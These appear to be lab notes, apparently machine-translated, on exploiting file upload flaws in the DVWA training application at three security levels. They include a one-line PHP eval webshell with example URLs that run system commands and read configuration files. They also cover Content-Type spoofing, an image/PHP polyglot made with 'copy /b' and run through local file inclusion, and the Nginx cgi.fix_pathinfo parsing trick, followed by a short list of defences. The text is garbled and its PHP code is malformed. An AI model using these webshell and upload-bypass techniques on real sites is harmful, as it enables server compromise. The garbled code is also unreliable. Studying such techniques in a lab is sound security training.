Site common features, such as: Upload avatar Low upload successful phpinfo.php access to execute http://192.168.3.88/dvwa/hackable/uploads/phpinfo.php exploit: in PHP, for example, Can upload a sentence webshellcmd.php<?php@eval ($_get[' cmd '); > can be used to execute various PHP functions and commands. For example: Http://192.168.3.88/dvwa/hackable/uploads/cmd.php?cmd=phpinfo (); http://192.168.3.88/dvwa/hackable/uploads/ Cmd.php?cmd=system (dir); Http://192.168.3.88/dvwa/hackable/uploads/cmd.php?cmd=system (' Type c:\\phpstudy\\www\\ Dvwa\\php.ini ');
Medium.When uploading a non-picture file, modify the Content-type:image/jpeg in the sent POST request package by changing the package
HighWe try to discover that the server validates the file suffix, file type, and file contents of the files we upload. Use the DOS command to create an inside image and merge the files we want to execute with the normal images. Copy test.jpg/b+ phpinfo.txt/a phpinfo.jpg call execution with a local file containment vulnerability Http://192.168.3.88/dvwa/vulnerabilities/fi/?page=file :///c:\phpstudy\www\dvwa\hackable\uploads\cmd.jpg uses Nginx parsing vulnerability to view Php-ini configuration files using Phpstudy simulation test environment cgi.fix_pathinfo=1 Whether it is 1 if there is a malformed parsing xxx.xxx/xxx.php before a file exists, it will be interpreted as a PHP file to protect: The user uploaded image compression rebuild, file Rename, store directory permissions settings, storage directory and site separation
File Upload-Notes
